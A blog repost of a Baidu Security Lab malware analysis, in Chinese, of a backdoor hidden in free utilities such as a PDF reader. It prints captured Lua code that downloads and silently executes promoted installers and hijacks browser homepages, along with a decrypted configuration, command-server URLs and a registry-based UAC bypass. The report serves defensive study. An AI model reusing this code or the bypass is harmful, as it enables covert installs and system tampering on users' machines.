竹節蟲:暗藏在常用工具軟件中的后門

近日,百度安全實驗室發現多款偽裝成“解壓工具”、“文檔閱讀器”等常用軟件,實則背后悄悄進行遠程代碼執行和刷流量牟取暴利等行為的惡意軟件。通過對這些偽裝軟件的技術分析,發現它們都源自重慶同一公司所為,惡意代碼作者通過注冊多個數字簽名實現繞過安全軟件的檢測,使用相同的框架開發多款網民常用的小工具,并利用大量下載站和界面簡單的“官方網站”進行傳播。其中一款名為“極客壓縮”解壓軟件,在某家軟件管理中下載次數就高達308萬次。

當用戶安裝這些軟件后,會靜默通過遠程服務器下發惡意模塊和Lua腳本并執行,Lua腳本在執行過程會跳過“北京”、“上海”、“廣州”、“深圳”、“珠海”五大城市,以逃避主流安全廠商的捕獲和分析。Lua腳本機具備下載任意程序并靜默執行、結束進程、修改任意注冊表、向連接的手機安裝APK、修改主頁、本地提權等121個功能API,功能強大令人震驚。值得警惕的是,Lua腳本可隨時被升級更新,不排除有幕后黑手利用這功能強大的后門執行隱私竊取等其他惡意行為,存在極高的安全隱患。

以下以其中一款名為“優選PDF閱讀器”的軟件為例進行分析:

一、行為分析

軟件安裝并啟動后會調用安裝目錄的“YouPdfUpdate.exe”進程,傳入參數youp,并從網絡獲取動態鏈接庫,保存到程序當前路徑下,命名為update.yyp。

該文件經過加密,解密后的動態鏈接庫包含兩個導出函數:

該模塊主要實現創建Lua虛擬機并執行傳入的Lua腳本,模塊中實現了以下Lua API。


以上API能夠實現自啟動、修改UAC策略、安裝APK、下載并執行文件、執行腳本、進程控制、從網絡獲取任意文件等操作。

該模塊中實現了利用事件查看器漏洞繞過UAC防御,主要通過修改注冊表:

“HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command”的方式實現。

程序在運行時,執行了Lua中的ExecNetScipt功能,即請求從

“http://config.younoteba.top/src/youpdfu.html”下載并執行Lua腳本。解密后的腳本執行了發送機器信息到作者服務器、設置進程自身退出時間等一系列初始化操作,然后下載XML配置文件并根據獲取到的配置完成修改主頁、過濾進程、軟件推廣安裝等操作。

解密后的XML配置文件:

<?xml version="1.0"  encoding="utf-8"?>

<root><base><filterProcess>360sd.exe,360Tray.exe</filterProcess><filterArea>上海,珠海,北京,廣東,深圳</filterArea><richSpan>6</richSpan><richSpanDay>1</richSpanDay><runAfterIstall>16</runAfterIstall><runDelay>270</runDelay><richMaxCheckedNum>1</richMaxCheckedNum></base><mini/><page><item><id>1664</id><name>金山毒霸-優選PDF</name><url>http://s.show.qiangzuotong.cn/Public/popup/fmt/isurAh.html</url><width>445</width><height>227</height><res>1663</res><resusetype>0</resusetype><keyword/><keywordNeedful/><pos>0</pos><interval>10</interval><enable/></item><item><id>2041</id><name>飛米資訊json迷你頁-優選PDF</name><url>http://mini.cqyzzkj.cn/ad/s/xbzms/360jxbzm/index.html#qid=0_0</url><width>384</width><height>535</height><res/><resusetype>0</resusetype><keyword>東方網;頭條;國內;新聞;娛樂;視頻;國際;軍事;體育;歷史;曝光;東方微博;健康;人文;科技;游戲;星座;家居;天氣;笑話;今日;熱點;獵奇;探索;今日爆點;資訊;熱門;占卜;新華網;環球網;參考消息;人民網;聯合早報;中華網;國際在線;大公網;星島環球網;鳳凰網;北京時間;騰訊網</keyword><keywordNeedful>東方網;頭條;國內;新聞;娛樂;視頻;國際;軍事;體育;歷史;曝光;東方微博;健康;人文;科技;游戲;星座;家居;天氣;笑話;今日;熱點;獵奇;探索;今日爆點;資訊;熱門;占卜;新華網;環球網;參考消息;人民網;聯合早報;中華網;國際在線;大公網;星島環球網;鳳凰網;北京時間;騰訊網</keywordNeedful><keywordExclude/><pos>0</pos><interval>900</interval><enable>1</enable></item></page><res><item><id>1663</id><name>金山毒霸</name><type>cpa</type><url>http://cd001.www.duba.net/duba/install/2011/ever/duba_820_820.exe</url><arg/><packname>duba_820_820.exe</packname><downtype>2</downtype><isencryptionpack/><namecheck>金山毒霸</namecheck><runtype>1</runtype><regkey/><iconcheck>金山毒霸</iconcheck><processcheck>kxescore.exe</processcheck><regcheck>HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\KAV7NEEDREBOOT</regcheck><nocheck>false</nocheck><filterProcess/><needprocess/><haduac>1</haduac><filterOS/><dbt>3</dbt><interval>8</interval></item></res></root>

捕獲的Lua腳本中的主要函數如下:

1、DoBiz

該函數主要完成檢測引擎版本、判斷配置文件是否可寫、判斷是否用戶管家下載、判斷用戶點擊了意見反饋、下載配置、執行迷你頁、過濾進程及地區、執行富媒體等。

function DoBiz() 

    --檢測引擎版本

    if  IsCurrentEng() == false then

        return

    end

    --判斷配置文件是否可寫

    if IsWriteini()  == false then

        return

    end

    --判斷是否用戶管家下載

    local sutime =  BzRunReadlog("user", "isuser")

    if sutime ~= nil  and sutime ~= "" then

        local utime  = tonumber(sutime)

        if utime ~=  nil and os.time() - utime <= 24*60*60 then

            return

        end

    end

    --判斷用戶點擊了意見反饋

    local fbdate =  BzRunReadlog("feedback", "fbdate")

    local fbnext =  BzRunReadlog("feedback", "fbnext")

    if fbdate ~= nil  and fbdate ~= "" then

        local  ufbdate = tonumber(fbdate)

        if ufbdate  ~= nil then        

            if  fbnext == nil or fbnext == "" then

                 fbnext = "30"

            end

            local  ufbnext = tonumber(fbnext)

            if  ufbnext == nil then

                 ufbnext = 30

            end

            if  os.time() <= ufbdate + ufbnext*24*60*60 then 

                 return

            end

        end

    end    

    --下載配置

    if GetXmlData()  == false then

        return

    end

     api.Delay(60*1000)

    --執行迷你頁

    DoMini()

    --延遲

     api.Delay(tBzBase["runDelay"]*1000)

    --過濾進程

    if  FilterProcess() == false then

        return

    end

    --過濾地區

    if IsNoBzArea()  == true then

        os.exit()

        --return

    end

    --判斷安裝時間

    if  CheckInstallTime() == false then

        return

    end

    -- 執行富媒體

    DoRich()

end   

2、InstallCpa

該函數主要完成推廣軟件的安裝條件檢測、軟件下載以及安裝等相關行為。

function InstallCpa(v)

     SenBizInfo(v["id"],"cpa","5")  

    if  v['nocheck'] == "true" or  api.IsSoftInstall(v["namecheck"],v["processcheck"],v["iconcheck"],v["regcheck"])  == false then

         local downrs = false                  

         local fileData = ""

        if  v["packname"] == nil or v["packname"] == ""  then

             v["packname"] = string.sub(os.tmpname(),1)              

         end  

         local filepath = api.TempPath() .. v["packname"]

        if  v["downtype"] == "1" then

             for i=1,1,1 do

                 fileData = api.HttpGet(v["url"])         

                 if fileData ~= nil then

                    if  v["isencryptionpack"] == true then

                        local fileDataDecode  = api.DesDecrypt(fileData,tSoftInfo["dkey"])

                        fileData = nil

                        fileData =  fileDataDecode

                    end

                    local file =  io.open(filepath,"wb")

                    if file ~= nil then

                        file:write(fileData)

                        file:close()

                        downrs = true

                    end   

                    break

                 end

             end

         else

             for i=1,1,1 do

                 if api.DownFile(v["url"], filepath) ~= nil then

                    downrs = true

                    break

                 end

             end

        end

        if  downrs == true then

             SenBizInfo(v["id"],"cpa","6")   

             if string.find(v["runtype"],"1") ~= nil then

                 --添加ARG參數

                 local cmd = "\"" .. filepath .. "\""

                 if v['arg'] ~= nil and v['arg'] ~= "" then

                    cmd = cmd .. "  " .. v['arg']

                end

                 BzRunWritelog("cpa",v["id"])

                            if  bHadUAC and v['haduac'] == "1" then

                                   api.ShellExec("open",filepath,v['arg'])

                                   api.Delay(50*1000);  

                            else

                                   api.Exec(cmd,3*60*1000)

                                   api.Delay(50*1000);  

                            end

                if  api.IsSoftInstall(v["namecheck"],v["processcheck"],v["iconcheck"],v["regcheck"])  then

                     SenBizInfo(v["id"],"cpa","0")

                 else                   

                     SenBizInfo(v["id"],"cpa","4")

                 end

             end

             if string.find(v["runtype"],"2") ~= nil then

                 if api.SetAutoRun(v["regkey"],cmd) then

                     SenBizInfo(v["id"],"cpa","7")

                 else                   

                    SenBizInfo(v["id"],"cpa","4")

                 end

             end                                 

         else

             SenBizInfo(v["id"],"cpa","2")

        end

    else

         SenBizInfo(v["id"],"cpa","1")

    end

end  

3、SetHomepage

該函數通過修改注冊表達到篡改瀏覽器主頁的目的。

function  SetHomepage(v)

    local reg = api.RegOpen("HCU",  "Software\\Microsoft\\Internet Explorer\\Main")

    local regurl =  api.RegGetV(reg,"Start Page")

    if regurl ~= nil and regurl ~=  v["url"] then

        local bset =  api.RegSetV(reg,"Start Page",v["url"])

        if bset then

             SenBizInfo(v["id"],"homepage","0")

        else    

             SenBizInfo(v["id"],"homepage","4")

        end

    end

end  

二、同源性分析

通過對“優選PDF閱讀器”的關聯分析,發現其關聯多個域名,涉及多款軟件,但行為基本類似。

1、相似的安裝界面

以下為優選PDF閱讀器的安裝界面。

以下為關聯到的迅捷便簽的安裝界面

2、相似的官網

這些軟件均有相似度較高的官網,頁面布局、語言描述等均高度相似。以下為優選PDF閱讀器及迅捷便簽的官網。

三、總結

近幾年,出現了一些打著“免費”的旗號,背后卻偷偷利用網民的電腦用作賺錢機器的工具軟件,這些軟件往往在表面騙取了用戶的信任,惡意行為卻很難被察覺。百度安全實驗室建議用戶能養成良好上網習慣,發現電腦異常及時使用安全軟件進行安全檢測。對于政企機構要加強對于軟件下載和升級的把控,加強網絡通信行為的分析感知能力。同時也倡導各軟件下載站和分發渠道能加強軟件審核、規范服務。

附錄:相關的軟件列表

本文來自百度安全實驗室,百度安全經授權發布

文章圖片來源于網絡,如有問題請聯系我們

轉載請注明出處 AE博客|墨淵 ? 竹節蟲:暗藏在常用工具軟件中的后門

發表評論

路人甲

網友評論(0)